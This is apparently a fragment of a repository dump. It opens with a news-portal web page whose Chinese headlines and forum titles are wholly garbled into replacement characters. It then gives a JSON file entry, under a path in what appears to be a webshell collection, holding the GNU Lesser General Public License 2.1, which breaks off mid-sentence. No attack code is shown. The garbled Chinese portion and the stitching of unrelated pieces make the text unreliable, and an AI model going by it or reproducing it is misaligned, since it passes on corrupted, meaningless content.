\r\n\t\r\n�������������48Сʱ���ŵ��\r\n\r\n\t\r\n\r\n1.�Թ�������ǿ�� �����Ƶ�ع� �ɷ�Ҫ����ֻ���� 143 ����  2.��������������լǿ��Ů�� ���ӡ����ӡ����ӱ�ǿ�� 178 ����  3.ԭ��̬ץ�ı���������ѧŮ�� ���ٳ��ú����ʼѣ� 44 ����  4.ר��С��ȫ����� �������ɽҽԺ��������������� 65 ����  5.�й���ѧ�������� ���ƣ�210ƽ��������15��(��ͼ 49 ����  6.��̬�г¹�ϣ����6������ ���п��ܲ�������ȱ�� 21 ����  7.Ϊ���ܶ�����ֲ���ǻң�֪���߳Ƶ�ʱ����˵ 49 ����  8.���вŵ�ѧ��  ����д1000�鵥�ʣ�û���⣬���ҵ� 0 ����  9.��ž�פ������ʿ��Яǹ��795���ӵ����� 3�˱����� 83 ����  10.���������ǽ�¶ƭ�ֵ�ʱ���� ������й����õ����� 35 ����  11.�ձ�Ů�����������й������� ��˧�ޣ������أ�(�� 12 ����  12.�¼��º��𾪣��й�����Я�޿��ȥ �������쾯�� 28 ����  13.�񾲾����� �ɷù�����ʱ�ֳ����ڷ�ŭ�ӷ�Ь(ͼ) 15 ����  14.���ԣ�������С����˽�����ع� �������β������� 22 ����  15.�ѵ�һ���İ���ǰ�й���ɫ��Ƭ �����û����(��ͼ 26 ����  16.Ů����һƶ��ϴ С͵���ҵ������� Ȱ��ҪŬ��׬Ǯ 31 ����  17.���ĲԾ��Ÿֽ߲����� �ձ�Ů��ȷʵ����(������ͼ 19 ����  18.�ѱ��߳ɹ����Ѽ»���Ա���ǹ��������Ƶ�����ع� 52 ����  19.��ͼ�����ࣺ̽�س�����ͨ�ϰ��յ�����ϸ��(��ͼ) 27 ����  20.Ů�ӳ��ⷿ����ٲƽ�ɫ �����߱���͵��(��ͼ/���� 21 ����  21.ǿ�鶾��Ů�� ʩ��������Ա���ɷ�Сѧͬѧ ������ 49 ����  22.�绪�����������ܶ���������Ư����Ů��Ա(��ͼ) 16 ����  23.����ͳ��ѡ�˿���������ɧ�� ��������Ů˽�ܴ�(�� 26 ����  24.�����人������۽�ž��뾯����ͻ ��ʮ�������� 38 ����  25.���¸�ʹ�������ɥ����ĸ��ˤ����30�������˷�(ͼ 52 ����  26.�������ӢԢ����� ����ʧ������̽�÷���ȥ��(�� 8 ����  27.����ͼ�����������Ů�μ���������Ҫ��������̨ 8 ����  28.���ѽ������ţ��й����޴�� ��ɼӺ�ֱ����ʧ20�� 25 ����  29.�㶫����������16��ƽ� ����8�������������ʲô 9 ����  30.Խ�ϸ���ǧ����ѧΪ���� ���˲�����ѡ�й�����(�� 14 ����  31.�ձ����ñ����������ţ����ְ�˹����������Ϣ�� 16 ����  32.������ı�����������ࣺ���������ձ����(��ͼ 24 ����  \t\r\n\r\n\r\n \r\n        \r\n\r\n               \r\n�������������48Сʱ��������\r\n\r\n\t\r\n\r\n1.��������������լǿ��Ů�� ���ӡ����ӡ����ӱ�ǿ�� 178 ����2.�Թ�������ǿ�� �����Ƶ�ع� �ɷ�Ҫ����ֻ���� 143 ����3.��ý����δδ����ٶȱ�Ͷ����� �й������������� 95 ����4.��ž�פ������ʿ��Яǹ��795���ӵ����� 3�˱����� 83 ����5.ר��С��ȫ����� �������ɽҽԺ��������������� 65 ����6.�ѱ��߳ɹ����Ѽ»���Ա���ǹ��������Ƶ�����ع� 52 ����7.���¸�ʹ�������ɥ����ĸ��ˤ����30�������˷�(ͼ 52 ����8.Ϊ���ܶ�����ֲ���ǻң�֪���߳Ƶ�ʱ����˵ 49 ����9.�й���ѧ�������� ���ƣ�210ƽ��������15��(��ͼ 49 ����10.ǿ�鶾��Ů�� ʩ��������Ա���ɷ�Сѧͬѧ ������ 49 ����11.����ɱ�������ë���뽯��ʯ ����ѧ����ʹ���� 48 ����12.����Χ������������ �й��ٷ��׾��������߼������� 48 ����13.ԭ��̬ץ�ı���������ѧŮ�� ���ٳ��ú����ʼѣ� 44 ����14.����Ԫ��������ʳ���⡱ �ƹ������������(ͼ) 40 ����15.�����人������۽�ž��뾯����ͻ ��ʮ�������� 38 ����16.���ڱ�������Աǿ��Ů�Ӽ������� �ؼ�ػ���(��ͼ 37 ����17.���������ǽ�¶ƭ�ֵ�ʱ���� ������й����õ����� 35 ����18.��δδ��������ͼ�˽������ʱ����������˷��� 33 ����19.�й����򸻺���ЭίԱ�������� ������ʦ��������� 33 ����20.Яǹ����ʿ����ϸ������¶ �����ڱ����� �������� 32 ����21.Ů����һƶ��ϴ С͵���ҵ������� Ȱ��ҪŬ��׬Ǯ 31 ����22.���ַ�����������ǰ���󸱽��ڽ�������»���û�� 30 ����23.�¼��º��𾪣��й�����Я�޿��ȥ �������쾯�� 28 ����24.150Ԫһ���ֱ���������⡱�����Ͼ�ʳƷ������( 27 ����25.��ͼ�����ࣺ̽�س�����ͨ�ϰ��յ�����ϸ��(��ͼ) 27 ����26.�ѵ�һ���İ���ǰ�й���ɫ��Ƭ �����û����(��ͼ 26 ����27.����ͳ��ѡ�˿���������ɧ�� ��������Ů˽�ܴ�(�� 26 ����28.���������������Ϻ�ͶƱѡ���˴���� ����������Ͷ 25 ����29.���ѽ������ţ��й����޴�� ��ɼӺ�ֱ����ʧ20�� 25 ����30.������ʹ��������������ԭ�� ˹������в�����ɹű� 25 ����31.������ı�����������ࣺ���������ձ����(��ͼ 24 ����32.��������������� �������ӣ����ѿ�����ȫ���Ʋ� 24 ����\t\r\n\r\n\r\n \r\n\r\n\r\n\r\n\t \r\n\t������������Ǳ��Ǵ����Ѳ�������\r\n\r\n\t\r\n\r\n ��ë����ë �׼׼� �������£����ǵ�С �������� �ҼҵĻ�԰ ���S�L�� ����ɯ��(��ƪС˵���������ᡷ ���) snow2011 ���ٱ��񷴡���ռ�컪�����˶�������η��� �˼���֮��ի �����ĸ�ϴ��Ľ��������ǿ�������� ������ ��������ѧ�ң���Ѻ��������˼� ��Y�϶� �й���¥�����ļ�������԰����¥ kylelong ������������� ��ӣ�� ���꣬�Ǵ�������---�������ĺ�����־��6�� Զ�󸱴��� �������������׽�Ų� ƽ������ �뺣��ʶ��ǳ ��ѧ�ž���֪ ����һ�� �Ҽҵı�ķ��װ�޹� (��ƪС˵ һ) �����ǫ ����΢Ц֮����̩���ϰ�֮�� - ��̡� ������������ ���׵Ļ��� ���� �λع��� ���� �����ľ���---����ɫ��ǰ�Ļ������ ���� �����ܲ��Ĺ�Ч��Է� kylelong �򲹶�����ɽװ vs �򲹶�������T�� ���� ת��˼�룬���������������� light12 ������ͥ����Ů����������? ���� ���ĸɻ���--ʧ�ֶ�����ţ ���� ���ͻ��-��һ�ŷ��� ���� �����ڽ��� ƽ���Ķ���ʯ �Ӱ�һ�� ���Ҷ��ڽ����� Ů��Ӧ��ѧ������ ��¶Ϊ˪ ��ʳ������ǿ���𺳡��������󶭿�Ѽ����� ����ɫ ������֮�� goodoctor СŮ����˯��ǰ�ĶԻ� Զ�󸱴��� ʿ��ɱ������ alittlesmart ����վ: ��ҹ�����͵������վ ryu �ѵ��й����û�������ˣ� ��� ����̰������֮��������ۼ���Ԫ� k7k6w8 ���� jd918 ���Ӷ���ɢ�� ��1�� ����� �������� (2) epwon �й�������Ͷ����Щ���� cstar ѧϰһ��Ӣ�ĵ��ʣ�XO kylelong ̸̸��������ƶ���ֻ��Ĳ����͸�Դ putongren10 ��ÿ��һ�ˡ������㹽���Ź� ����С���� �����ļ������Ӿ� delilah ͯ��Ŀ������£�2�� fuji ����3 -- Ҷ��Ʈ�� pengl Ư���İ������� [10ͼ] homepeace лʢ�ѣ��γ�褻���һ�λ��� лʢ�� �丸�� leahzhang �й���ɫ��ǿ�顡��һ��а���˵�? �˿� �й��˽�С��������Ϊ������ ��Y�϶� �ٶȽ����һ�����ơ� kylelong �����ˣ����ڳ���С�ձ� kzhoulife ��л�ϵۣ��ɹ��ر����� amyleezhuo ��������������? ƽ������ ����Ԫ���Թ��⡢�����˰��� buweizhai �й���¥��������������������¥ kylelong ������¶����ʤ����΢Ц yzfoto �����ˬ������(ʮ��)����ʰ��--���벻���� ���������֪ �ý��� VANO �������������ˣ���ȴ���Ի���� ����С�鳤 �и��Ե�������ʦ qjd0520 ײ������ qjd0520 50�����µ��й�Ů�˶����Ǹ����У�һ�ζ��� ����ǧ�� �������1997���£� ��ӣ�� �������1997���ϣ� ��ӣ�� ������ɫ�� ���� ��һ��ͶƱ�ļ��� ��Ϊ��� ���� ��18+�� ���� �������ñ������߾�����ʥ�ǹ���� ֣�� ŮΪ�ü��ߡ��ʡ� ����\t\r\n\r\n \r\n\r\n\r\n  \r\n\r\n\t\r\n        \r\n        \r\n        \r\n  \r\n        \r\n        \r\n        \r\n    \r\n\r\n\r\n\r\n      \t\r\n<!-- /end news part1 --> \r\n        \r\n\r\n\r\n\r\n\t\r\n\r\n\t    \r\n       \t\r\n       \t       \r\n                                                     \r\n     \r\n\r\n              \t \r\n             \r\n                  \r\n\r\n                  \r\n                  \r\n                  \r\n                   \r\n                  \r\n    \r\n         \r\n                  \r\n                  \r\n             \t \r\n                 \r\n                  \r\n                        \r\n             \t \r\n                     \r\n                  \r\n   \r\n\r\n\r\n\r\n\r\n<!-- end ads -->\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t\r\n\r\n<!--colLnavbar start-->\r\n\r\n��������\r\n>> ����ר�� \r\n<!--colLnavbar end-->\r\n��������ż��������̿�?�ҵ��������ѱ��ݽ����������ֻ����������ɷ������û����ݵ�̫̫�ᱻ�ݽ������?�����������δ����������?������ǰ�Ƶ����þ���������ݽ����\r\n���ɱ���ʦ ��С����ʦ\t\r\n\r\n\r\n<!-- box end --> \r\n\r\n\r\n\r\n\r\n\t\r\n\r\n\r\n\r\n\r\n  <!-- \r\n<DIV class=\"ad220\"><a href=\"http://streaming.sogotrade.com/Login.aspx?company=BackChina\" target=\"_blank\"><IMG src=\"http://pic.backchina.com/banners/sogo_220x70.gif\" width=220 height=70 border=\"0\"></a></DIV> -->\r\n\r\n\r\n  <!-- box start -->\r\n\r\n<!--colLnavbar start-->\r\n\r\n���ɸ�Ц\r\n\r\n<!--colLnavbar end-->\r\n ����㽴�ϲ����ѽ @ ��Ц��ͼ �������� @ ��ɫЦ�� �����Ļ������������M������˭���ܼ�Ԧ���� @ ��Ц��ͼ ����ڣ�èү������ô��ɢ���£� @ ��Ц��ͼ ����̰С���� @ ��ɫЦ�� ���ţ�п��ţ�� @ ��ɫЦ�� ������ @ ��ɫЦ�� ��гһ���� @ ��Ц��ͼ ��˵�����������ʦ�����һ�ι������� @ ��Ц��ͼ [����] @ ����Ц��\r\n���� ��ɫ ��ͼ\r\n\r\n<!-- box end -->\r\n\r\n\r\n   \r\n                  \r\n                                                         \r\n                                    \r\n \r\n                  \r\n                  \r\n\r\n<!-- <DIV class=\"ad220\"><a href=\"http://travelinsure.com/chinesesim/index.asp?240422\" target=\"_blank\"><IMG src=\"http://pic.backchina.com/banners/travelinsure_220x70.gif\" \r\n                  width=220 height=70 border=\"0\"></a></DIV>  -->                              \r\n\r\n  <!-- box start -->\r\n\r\n<!--colLnavbar start-->\r\n\r\n��Ӱ���\r\n\r\n<!--colLnavbar end-->\r\nWild Ducks�����ʵ���Ϊ���ĵ��㣬�����۵İ��� ��΢����Ʒ��һ��İ������ǹʵ������ѩ֮��ŦԼ���������������ɽһ�ٸ�İ����---�Ჴ��С����\r\n\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Json90r1/Source/Tools/7-zip/copying.txt",
    "content": "      GNU LESSER GENERAL PUBLIC LICENSE\r\n           Version 2.1, February 1999\r\n\r\n Copyright (C) 1991, 1999 Free Software Foundation, Inc.\r\n     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\r\n Everyone is permitted to copy and distribute verbatim copies\r\n of this license document, but changing it is not allowed.\r\n\r\n[This is the first released version of the Lesser GPL.  It also counts\r\n as the successor of the GNU Library Public License, version 2, hence\r\n the version number 2.1.]\r\n\r\n          Preamble\r\n\r\n  The licenses for most software are designed to take away your\r\nfreedom to share and change it.  By contrast, the GNU General Public\r\nLicenses are intended to guarantee your freedom to share and change\r\nfree software--to make sure the software is free for all its users.\r\n\r\n  This license, the Lesser General Public License, applies to some\r\nspecially designated software packages--typically libraries--of the\r\nFree Software Foundation and other authors who decide to use it.  You\r\ncan use it too, but we suggest you first think carefully about whether\r\nthis license or the ordinary General Public License is the better\r\nstrategy to use in any particular case, based on the explanations below.\r\n\r\n  When we speak of free software, we are referring to freedom of use,\r\nnot price.  Our General Public Licenses are designed to make sure that\r\nyou have the freedom to distribute copies of free software (and charge\r\nfor this service if you wish); that you receive source code or can get\r\nit if you want it; that you can change the software and use pieces of\r\nit in new free programs; and that you are informed that you can do\r\nthese things.\r\n\r\n  To protect your rights, we need to make restrictions that forbid\r\ndistributors to deny you these rights or to ask you to surrender these\r\nrights.  These restrictions translate to certain responsibilities for\r\nyou if you distribute copies of the library or if you modify it.\r\n\r\n  For example, if you distribute copies of the library, whether gratis\r\nor for a fee, you must give the recipients all the rights that we gave\r\nyou.  You must make sure that they, too, receive or can get the source\r\ncode.  If you link other code with the library, you must provide\r\ncomplete object files to the recipients, so that they can relink them\r\nwith the library after making changes to the library and recompiling\r\nit.  And you must show them these terms so they know their rights.\r\n\r\n  We protect your rights with a two-step method: (1) we copyright the\r\nlibrary, and (2) we offer you this license, which gives you legal\r\npermission to copy, distribute and/or modify the library.\r\n\r\n  To protect each distributor, we want to make it very clear that\r\nthere is no warranty for the free library.  Also, if the library is\r\nmodified by someone else and passed on, the recipients should know\r\nthat what they have is not the original version, so that the original\r\nauthor's reputation will not be affected by problems that might be\r\nintroduced by others.\r\n\f\r\n  Finally, software patents pose a constant threat to the existence of\r\nany free program.  We wish to make sure that a company cannot\r\neffectively restrict the users of a free program by obtaining a\r\nrestrictive license from a patent holder.  Therefore, we insist that\r\nany patent license obtained for a version of the library must be\r\nconsistent with the full freedom of use specified in this license.\r\n\r\n  Most GNU software, including some libraries, is covered by the\r\nordinary GNU General Public License.  This license, the GNU Lesser\r\nGeneral Public License, applies to certain designated libraries, and\r\nis quite different from the ordinary General Public License.  We use\r\nthis license for certain libraries in order to permit linking those\r\nlibraries into non-free programs.\r\n\r\n  When a program is linked with a library, whether statically or using\r\na shared library, the combination of the two is legally speaking a\r\ncombined work, a derivative of the original library.  The ordinary\r\nGeneral Public License therefore permits such linking only if the\r\nentire combination fits its criteria of freedom.  The Lesser General\r\nPublic License permits more lax criteria for linking other code with\r\nthe library.\r\n\r\n  We call this license the \"Lesser\" General Public License because it\r\ndoes Less to protect the user's freedom than the ordinary General\r\nPublic License.  It also provides other free software developers Less\r\nof an advantage over competing non-free programs.  These disadvantages\r\nare the reason we use the ordinary General Public License for many\r\nlibraries.  However, the Lesser license provides advantages in certain\r\nspecial circumstances.\r\n\r\n  For example, on rare occasions, there may be a special need to\r\nencourage the widest possible use of a certain library, so that it becomes\r\na de-facto standard.  To achieve this, non-free programs must be\r\nallowed to use the library.  A more frequent case is that a free\r\nlibrary does the same job as widely used non-free libraries.  In this\r\ncase, there is little to gain by limiting the free library to free\r\nsoftware only, so we use the Lesser General Public License.\r\n\r\n  In other cases, permission to use a particular library in non-free\r\nprograms enables a greater number of people to use a large body of\r\nfree software.  For example, permission to use the GNU C Library in\r\nnon-free programs enables many more people to use the whole GNU\r\noperating system, as well as its variant, the GNU/Linux operating\r\nsystem.\r\n\r\n  Although the Lesser General Public License is Less protective of the\r\nusers' freedom, it does ensure that the user of a program that is\r\nlinked with the Library has the freedom and the wherewithal to run\r\nthat program using a modified version of the Library.\r\n\r\n  The precise terms and conditions for copying, distribution and\r\nmodification follow.  Pay close attention to the difference between a\r\n\"work based on the library\" and a \"work that uses the library\".  The\r\nformer contains code derived from the library, whereas the latter must\r\nbe combined with the library in order to run.\r\n\f\r\n      GNU LESSER GENERAL PUBLIC LICENSE\r\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\r\n\r\n  0. This License Agreement applies to any software library or other\r\nprogram which contains a notice placed by the copyright holder or\r\nother authorized party saying it may be distributed under the terms of\r\nthis Lesser General Public License (also called \"this License\").\r\nEach licensee is addressed as \"you\".\r\n\r\n  A \"library\" means a collection of software functions and/or data\r\nprepared so as to be conveniently linked with application programs\r\n(which use some of those functions and data) to form executables.\r\n\r\n  The \"Library\", below, refers to any such software library or work\r\nwhich has been distributed under these terms.  A \"work based on the\r\nLibrary\" means either the Library or any derivative work under\r\ncopyright law: that is to say, a work containing the Library or a\r\nportion of it, either verbatim or with modifications and/or translated\r\nstraightforwardly into another language.  (Hereinafter, translation is\r\nincluded without limitation in the term \"modification\".)\r\n\r\n  \"Source code\" for a work means the preferred form of the work for\r\nmaking modifications to it.  For a library, complete source code means\r\nall the source code for all modules it contains, plus any associated\r\ninterface definition files, plus the scripts used to control compilation\r\nand installation of the library.\r\n\r\n  Activities other than copying, distribution and modification are not\r\ncovered by this License; they are outside its scope.  The act of\r\nrunning a program using the Library is not restricted, and output from\r\nsuch a program is covered only if its contents constitute a work based\r\non the Library (independent of the use of the Library in a tool for\r\nwriting it).  Whether that is true depends on what the Library does\r\nand what the program that uses the Library does.\r\n  \r\n  1. You may copy and distribute verbatim copies of the Library's\r\ncomplete source code as you receive it, in any medium, provided that\r\nyou conspicuously and appropriately publish on each copy an\r\nappropriate copyright notice and disclaimer of warranty; keep intact\r\nall the notices that refer to this License and to the absence of any\r\nwarranty; and distribute a copy of this License along with the\r\nLibrary.\r\n\r\n  You may charge a fee for the physical act of transferring a copy,\r\nand you may at your option offer warranty protection in exchange for a\r\nfee.\r\n\f\r\n  2. You may modify your copy or copies of the Library or any portion\r\nof it, thus forming a work based on the Library, and copy and\r\ndistribute such modifications or work under the terms of Section 1\r\nabove, provided that you also meet all of these conditions:\r\n\r\n    a) The modified work must itself be a software library.\r\n\r\n    b) You must cause the files modified to carry prominent notices\r\n    stating that you changed the files and the date of any change.\r\n\r\n    c) You must cause the whole of the work to be licensed at no\r\n    charge to all third parties under the terms of this License.\r\n\r\n    d) If a facility in the modified Library refers to a function or a\r\n    table of data to be supplied by an application program that uses\r\n    the facility, other than as an argument passed when the facility\r\n    is invoked, then you must make a good faith effort to ensure that,\r\n    in the event an application does not supply such function or\r\n    table, the facility still operates, and performs whatever part of\r\n    its purpose remains meaningful.\r\n\r\n    (For example, a function in a library to compute square roots has\r\n    a purpose that is entirely well-defined independent of the\r\n    application.  Therefore, Subsection 2d requires that any\r\n    application-supplied function or table used by this function must\r\n    be optional: if the application does not supply it, the square\r\n    root function must still compute square roots.)\r\n\r\nThese requirements apply to the modified work as a whole.  If\r\nidentifiable sections of that work are not derived from the Library,\r\nand can be reasonably considered independent and separate works in\r\nthemselves, then this License, and its terms, do not apply to those\r\nsections when you distribute them as separate works.  But when you\r\ndistribute the same sections as part of a whole which is a work based\r\non the Library, the distribution of the whole must be on the terms of\r\nthis License, whose permissions for other licensees extend to the\r\nentire whole, and thus to each and every part regardless of who wrote\r\nit.\r\n\r\nThus, it is not the intent of this section to claim rights or contest\r\nyour rights to work written entirely by you; rather, the intent is to\r\nexercise the right to control the distribution of derivative or\r\ncollective works based on the Library.\r\n\r\nIn addition, mere aggregation of another work not based on the Library\r\nwith the Library (or with a work based on the Library) on a volume of\r\na storage or distribution medium does not bring the other work under\r\nthe scope of this License.\r\n\r\n  3. You may opt to apply the terms of the ordinary GNU General Public\r\nLicense instead of this License to a given copy of the Library.  To do\r\nthis, you must alter all the notices that refer to this License, so\r\nthat they refer to the ordinary GNU General Public License, version 2,\r\ninstead of to this License.  (If a newer version than version 2 of the\r\nordinary GNU General Public License has appeared, then you can specify\r\nthat version instead if you wish.)  Do not make any other change in\r\nthese notices.\r\n\f\r\n  Once this change is made in a given copy, it is irreversible for\r\nthat copy, so the ordinary GNU General Public License applies to all\r\nsubsequent copies and derivative works made from that copy.\r\n\r\n  This option is useful when you wish to copy part of the code of\r\nthe Library into a program that is not a library.\r\n\r\n  4. You may copy and distribute the Library (or a portion or\r\nderivative of it, under Section 2) in object code or executable form\r\nunder the terms of Sections 1 and 2 above provided that you accompany\r\nit with the complete corresponding machine-readable source code, which\r\nmust be distributed under the terms of Sections 1 and 2 above on a\r\nmedium customarily used for software interchange.\r\n\r\n  If distribution of object code is made by offering access to copy\r\nfrom a designated place, then offering equivalent access to copy the\r\nsource code from the same place satisfies the requirement to\r\ndistribute the source code, even though third parties are not\r\ncompelled to copy the source along with the object code.\r\n\r\n  5. A program that contains no derivative of any portion of the\r\nLibrary, but is designed to work with the Library by being compiled or\r\nlinked with it, is called a \"work that uses the Library\".  Such a\r\nwork, in isolation, is not a derivative work of the Library, and\r\ntherefore falls outside the scope of this License.\r\n\r\n  However, linking a \"work that uses the Library\" with the Library\r\ncreates an executable that is a derivative of the Library (because it\r\ncontains portions of the Library), rather than a \"work that uses the\r\nlibrary\".  The executable is therefore covered by this License.\r\nSection 6 states terms for distribution of such executables.\r\n\r\n  When a \"work that uses the Library\" uses material from a header file\r\nthat is part of the Library, the object code for the work may be a\r\nderivative work of the Library even though the source code is not.\r\nWhether this is true is especially significant if the work can be\r\nlinked without the Library, or if the work is itself a library.  The\r\nthreshold for this to be true is not precisely defined by law.\r\n\r\n  If such an object file uses only numerical parameters, data\r\nstructure layouts and accessors, and small macros and small inline\r\nfunctions (ten lines or less in length), then the use of the object\r\nfile is unrestricted, regardless of whether it is legally a derivative\r\nwork.  (Executables containing this object code plus portions of the\r\nLibrary will still fall under Section 6.)\r\n\r\n  Otherwise, if the work is a derivative of the Library, you may\r\ndistribute the object code for the work under the terms of Section 6.\r\nAny executables containing that work also fall under Section 6,\r\nwhether or not they are linked directly with the Library itself.\r\n\f\r\n  6. As an exception to the Sections above, you may also combine or\r\nlink a \"work that uses the Library\" with the Library to produce a\r\nwork containing portions of the Library, and distribute that work\r\nunder terms of your choice, provided that the terms permit\r\nmodification of the work for the customer's own use and reverse\r\nengineering for debugging such modifications.\r\n\r\n  You must give prominent notice with each copy of the work that the\r\nLibrary is used in it and that the Library and its use are covered by\r\nthis License.  You must supply a copy of this License.  If the work\r\nduring execution displays copyright notices, you must include the\r\ncopyright notice for the Library among them, as well as a reference\r\ndirecting the user to the copy of this License.  Also, you must do one\r\nof these things:\r\n\r\n    a) Accompany the work with the complete corresponding\r\n    machine-readable source code for the Library including whatever\r\n    changes were used in the work (which must be distributed under\r\n    Sections 1 and 2 above); and, if the work is an executable linked\r\n    with the Library, with the complete machine-readable \"work that\r\n    uses the Library\", as object code and/or source code, so that the\r\n    user can modify the Library and then relink to produce a modified\r\n    executable containing the modified Library.  (It is understood\r\n    that the user who changes the contents of definitions files in the\r\n    Library will not necessarily be able to recompile the application\r\n    to use the modified definitions.)\r\n\r\n    b) Use a suitable shared library mechanism for linking with the\r\n    Library.  A suitable mechanism is one that (1) uses at run time a\r\n    copy of the library already present on the user's computer system,\r\n    rather than copying library functions into the executable, and (2)\r\n    will operate properly with a modified version of the library, if\r\n    the user installs one, as long as the modified version is\r\n    interface-compatible with the version that the work was made with.\r\n\r\n    c) Accompany the work with a written offer, valid for at\r\n    least three years, to give the same user the materials\r\n    specified in Subsection 6a, above, for a charge no more\r\n    than the cost of performing this distribution.\r\n\r\n    d) If distribution of the work is made by offering access to copy\r\n    from a designated place, offer equivalent access to copy the above\r\n    specified materials from the same place.\r\n\r\n    e) Verify that the user has already received a copy of these\r\n    materials or that you have already sent this user a copy.\r\n\r\n  For an executable, the required form of the \"work that uses the\r\nLibrary\" must include any data and utility programs needed for\r\nreproducing the executable from it.  However, as a special exception,\r\nthe materials to be distributed need not include anything that is\r\nnormally distributed (in either source or binary form) with the major\r\ncomponents (compiler, kernel, and so on) of the operating system on\r\nwhich the executable runs, unless that component itself accompanies\r\nthe executable.\r\n\r\n  It may happen that this requirement contradicts the license\r\nrestrictions of other proprietary libraries that do not normally\r\naccompany the operating system.  Such a contradiction means you cannot\r\nuse both them and the Library together in an executable that you\r\ndistribute.\r\n\f\r\n  7. You may place library facilities that are a work based on the\r\nLibrary side-by-side in a single library together with other library\r\nfacilities not covered by this License, and distribute such a combined\r\nlibrary, provided that the separate distribution of the work based on\r\nthe Library and of the other library facilities is otherwise\r\npermitted, and provided that you do these two things:\r\n\r\n    a) Accompany the combined library with a copy of the same work\r\n    based on the Library, uncombined with any other library\r\n    facilities.  This must be distributed under the terms of the\r\n    Sections above.\r\n\r\n    b) Give prominent notice with the combined library of the fact\r\n    that part of it is a work based on the Library, and explaining\r\n    where to find the accompanying uncombined form of the same work.\r\n\r\n  8. You may not copy, modify, sublicense, link with, or distribute\r\nthe Library except as expressly provided under this License.  Any\r\nattempt otherwise to copy, modify, sublicense, link with, or\r\ndistribute the Library is void, and will automatically terminate your\r\nrights under this License.  However, parties who have received copies,\r\nor rights, from you under this License will not have their licenses\r\nterminated so long as such parties remain in full compliance.\r\n\r\n  9. You are not required to accept this License, since you have not\r\nsigned it.  However, nothing else grants you permission to modify or\r\ndistribute the Library or its derivative works.  These actions are\r\nprohibited by law if you do not accept this License.  Therefore, by\r\nmodifying or distributing the Library (or any work based on the\r\nLibrary), you indicate your acceptance of this License to do so, and\r\nall its terms and conditions for copying, distributing or modifying\r\nthe Library or works based on it.\r\n\r\n  10. Each time you redistribute the Library (or any work based on the\r\nLibrary), the recipient automatically receives a license from the\r\noriginal licensor to copy, distribute, link with or modify the Library\r\nsubject to these terms and conditions.  You may not impose any further\r\nrestrictions on the recipients' exercise of the rights granted herein.\r\nYou are not responsible for enforcing compliance by third parties with\r\nthis License.\r\n\f\r\n  11. If, as a consequence of a court judgment or allegation of patent\r\ninfringement or for any other reason (not limited to patent issues),\r\nconditions are imposed on you (whether by court order, agreement or\r\notherwise) that contradict the conditions of this License, they do not\r\nexcuse you from the conditions of this License.  If you cannot\r\ndistribute so as to satisfy simultaneously your obligations under this\r\nLicense and any other pertinent obligations, then as a consequence you\r\nmay not distribute the Library at all.  For example, if a patent\r\nlicense would not permit royalty-free redistribution of the Library by\r\nall those who receive copies directly or indirectly through you, then\r\nthe only way you could satisfy both it and this License would be to\r\nrefrain entirely from distribution of the Library.\r\n\r\nIf any portion of this section is held invalid or unenforceable under any\r\nparticular circumstance, the balance of the section is intended to apply,\r\nand the section as a whole is intended to apply in other circumstances.\r\n\r\nIt is not the purpose of this section to induce you to infringe any\r\npatents or other property right claims or to contest validity of any\r\nsuch claims; this section has the sole purpose of protecting the\r\nintegrity of the free software distribution system which is\r\nimplemented by public license practices.  Many people have made\r\ngenerous contributions to the wide range of software distributed\r\nthrough that system in reliance on consistent application of that\r\nsystem; it is up to the author/donor to decide if he or she is willing\r\nto distribute software through any other system and a licensee cannot\r\nimpose that choice.\r\n\r\nThis section is intended to make thoroughly clear what is believed to\r\nbe a consequence of the rest of this License.\r\n\r\n  12. If the distribution and/or use of the Library is restricted in\r\ncertain countries either by patents or by copyrighted interfaces, the\r\noriginal copyright holder who places the Library under this License may add\r\nan explicit geographical distribution limitation excluding those countries,\r\nso that distribution is permitted only in or among countries not thus\r\nexcluded.  In such case, this License incorporates the limitation as if\r\nwritten in the body of this License.\r\n\r\n  13. The Free Software Foundation may publish revised and/or new\r\nversions of the Lesser General Public License from time to time.\r\nSuch new versions will be similar in spirit to the present version,\r\nbut may differ in detail to address new problems or concerns.\r\n\r\nEach version is given a distinguishing version number.  If the Library\r\nspecifies a version number of this License which applies to it and\r\n\"any later version\", you have the option of following the terms and\r\nconditions either of that version or of any later version published by\r\nthe Free Software Foundation.  If the Library does not specify a\r\nlicense version number, you may choose any version ever published by\r\nthe Free Software Foundation.\r\n\f\r\n  14. If you wish to incorporate parts of the Library into other free\r\nprograms whose distribution conditions are incompatible with these,\r\nwrite to the author to ask for permission.  For software which is\r\ncopyrighted by the Free Software Foundation, write to the Free\r\nSoftware Foundation; we sometimes make exceptions for this.  Our\r\ndecision will be guided by the two goals of preserving the free status\r\nof all derivatives of our free software and of promoting the sharing\r\nand reuse of software generally.\r\n\r\n          NO WARRANTY\r\n\r\n  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO\r\nWARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.\r\nEXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR\r\nOTHER PARTIES PROVIDE THE LIBRARY \"AS IS\" WITHOUT WARRANTY OF ANY\r\nKIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE\r\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\r\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE\r\nLIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME\r\nTHE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.\r\n\r\n  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN\r\nWRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY\r\nAND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU\r\nFOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR\r\nCONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE\r\nLIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING\r\nRENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A\r\nFAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF\r\nSUCH 